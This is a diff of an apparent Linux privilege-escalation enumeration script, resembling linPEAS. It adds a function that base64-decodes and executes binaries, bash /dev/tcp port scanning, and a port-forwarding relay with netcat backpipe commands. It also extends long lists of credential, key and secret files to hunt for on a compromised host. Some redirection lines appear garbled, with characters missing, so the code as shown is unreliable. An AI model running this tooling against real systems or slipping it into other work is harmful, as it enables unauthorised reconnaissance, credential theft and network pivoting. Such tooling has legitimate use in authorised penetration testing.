-cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-notifier-common|upstart|" +cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" cronjobsB="centreon" -processesVB="jdwp|tmux |screen |--inspect|--remote-debugging-port" -processesB="knockd\|splunk" +processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port' +processesB="knockd|splunk" processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" @@ -526,7 +555,8 @@ GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSys GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console" -INT_HIDDEN_FILES=".bashrc|.bluemix|.cer|.cloudflared|.crt|.csr|.db|.der|.env|.erlang.cookie|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pypirc|.rdg|.recently-used.xbel|.rhosts|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.timer|.vault-token|.viminfo|.vnc|.wgetrc" +INT_HIDDEN_FILES=".bashrc|.bluemix|.cer|.cloudflared|.crt|.csr|.db|.der|.env|.erlang.cookie|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.keytab|.kube|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pypirc|.rdg|.recently-used.xbel|.rhosts|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.timer|.vault-token|.viminfo|.vnc|.wgetrc" + ########################################### #---------) Checks before start (---------# @@ -549,7 +579,17 @@ else fi fi -SCAN_BAN_BAD="No port scan capabilities (nc not found)" +SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)" + +if [ "$(command -v bash)" ] && ! [ -L "$(command -v bash)" ]; then + FOUND_BASH=$(command -v bash); +elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then + FOUND_BASH="/bin/bash"; +fi +if [ "$FOUND_BASH" ]; then + SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n" +fi + FOUND_NC=$(command -v nc 2>/dev/null) if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v netcat 2>/dev/null); @@ -564,7 +604,7 @@ if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v nc.openbsd 2>/dev/null); fi if [ "$FOUND_NC" ]; then - SCAN_BAN_GOOD="$GREEN$FOUND_NC${BLUE} is available for network discover & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)" + SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n" fi @@ -604,7 +644,7 @@ print_title(){ title=$1 title_len=$(echo $title | wc -c) - max_title_len=100 + max_title_len=80 rest_len=$((($max_title_len - $title_len) / 2)) printf ${BLUE} @@ -650,6 +690,10 @@ print_3title(){ printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═" } +print_3title_no_nl(){ + printf ${BLUE}"\r══╣ $GREEN${1}..."$NC #There are 2 "═" +} + print_list(){ printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═" } @@ -713,6 +757,23 @@ macosNotSigned(){ done } +execBin(){ + TOOL_NAME=$1 + TOOL_LINK=$2 + B64_BIN=$3 + PARAMS=$4 + if [ "$B64_BIN" ]; then + echo "" + print_3title "Running $TOOL_NAME" + print_info "$TOOL_LINK" + echo "$B64_BIN" | base64 -d > $Wfolder/bin + chmod +x $Wfolder/bin + eval "$Wfolder/bin $PARAMS" + rm -f $Wfolder/bin + echo "" + fi +} + ########################################### #---------) Internet functions (----------# ########################################### @@ -775,7 +836,11 @@ tcp_recon (){ for port in $PORTS; do for j in $(seq 1 254) do - ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then + $TIMEOUT 2.5 $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi done wait done @@ -800,7 +865,11 @@ tcp_port_scan (){ fi for port in $PORTS; do - ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + if [ "$FOUND_BASH" ]; then + $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP:$port\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi done wait } @@ -887,6 +956,24 @@ discovery_port_scan (){ } +port_forward (){ + LOCAL_IP=$1 + LOCAL_PORT=$2 + REMOTE_IP=$3 + REMOTE_PORT=$4 + + echo "In your local machine execute:" + echo "cd /tmp; rm backpipe; mknod backpipe p;" + echo "nc -lvnp $LOCAL_PORT 0backpipe" + echo "" + echo "Press any key when you have executed the commands" + read -n 1 + + bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &" + echo "If not error was indicated, your local port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" +} + + ########################################### #---) Exporting history env variables (---# ########################################### @@ -911,6 +998,11 @@ printf $LG"Hostname: "$NC hostname 2>/dev/null printf $LG"Writable folder: "$NC; echo $Wfolder + +if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then + printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC; +fi + if [ "$DISCOVER_BAN_GOOD" ]; then printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC" else @@ -918,12 +1010,12 @@ else fi if [ "$SCAN_BAN_GOOD" ]; then - printf $YELLOW"[+] $SCAN_BAN_GOOD\n$NC" + printf "$SCAN_BAN_GOOD\n$NC" else printf $RED"[-] $SCAN_BAN_BAD\n$NC" fi if [ "$(command -v nmap 2>/dev/null)" ];then - NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discover & port scanning, you should use it yourself" + NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself" printf $YELLOW"[+] $NMAP_GOOD\n$NC" fi echo "" @@ -967,171 +1059,224 @@ elif [ "$IP" ]; then exit 0 fi +if [ "$PORT_FORWARD" ]; then + if ! [ "$FOUND_BASH" ]; then + printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC; + exit 0 + fi -if echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then - ########################################### - #----------) Caching Finds (--------------# - ########################################### + LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)" + LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)" + REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)" + REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)" - printf $GREEN"Caching directories "$NC + if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + exit 0 + fi + + #Check if LOCAL_PORT is a number + if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + #Check if REMOTE_PORT is a number + if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT" + exit 0 +fi - #Get home - HOMESEARCH="/home/ /Users/ /root/ $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users" | tr "\n" " ")" - if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users"; then #If not listed and not in /home, /Users/ or /root, add current home folder +#Get HOMESEARCH +if [ "$SEARCH_IN_FOLDER" ]; then + HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/" +else + HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")" + if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder HOMESEARCH="$HOME $HOMESEARCH" fi - GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" +fi +GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" + + + + +########################################### +#----------) Caching Finds (--------------# +########################################### +if [ "$SEARCH_IN_FOLDER" ]; then + printf $GREEN"Caching directories "$NC CONT_THREADS=0 # FIND ALL KNOWN INTERESTING SOFTWARE FILES - FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"system-connections\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \"system.d\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"bind\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" -o -name \"pam.d\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"ldap\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"bind\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"ldap\" -o -name \"kube-proxy\" -o -name \"postfix\" -o -name \".vnc\" -o -name \".cloudflared\" -o -name \"environments\" -o -name \"keyrings\" -o -name \"filezilla\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"bind\" -o -name \"neo4j\" -o -name \"kubelet\" -o -name \"cacti\" -o -name \".bluemix\" -o -name \"sites-enabled\" -o -name \"zabbix\" -o -name \"couchdb\" -o -name \"roundcube\" -o -name \".svn\" -o -name \".password-store\" -o -name \"sentry\" -o -name \"mysql\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_BIN=`eval_bckgrd "find /bin -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" 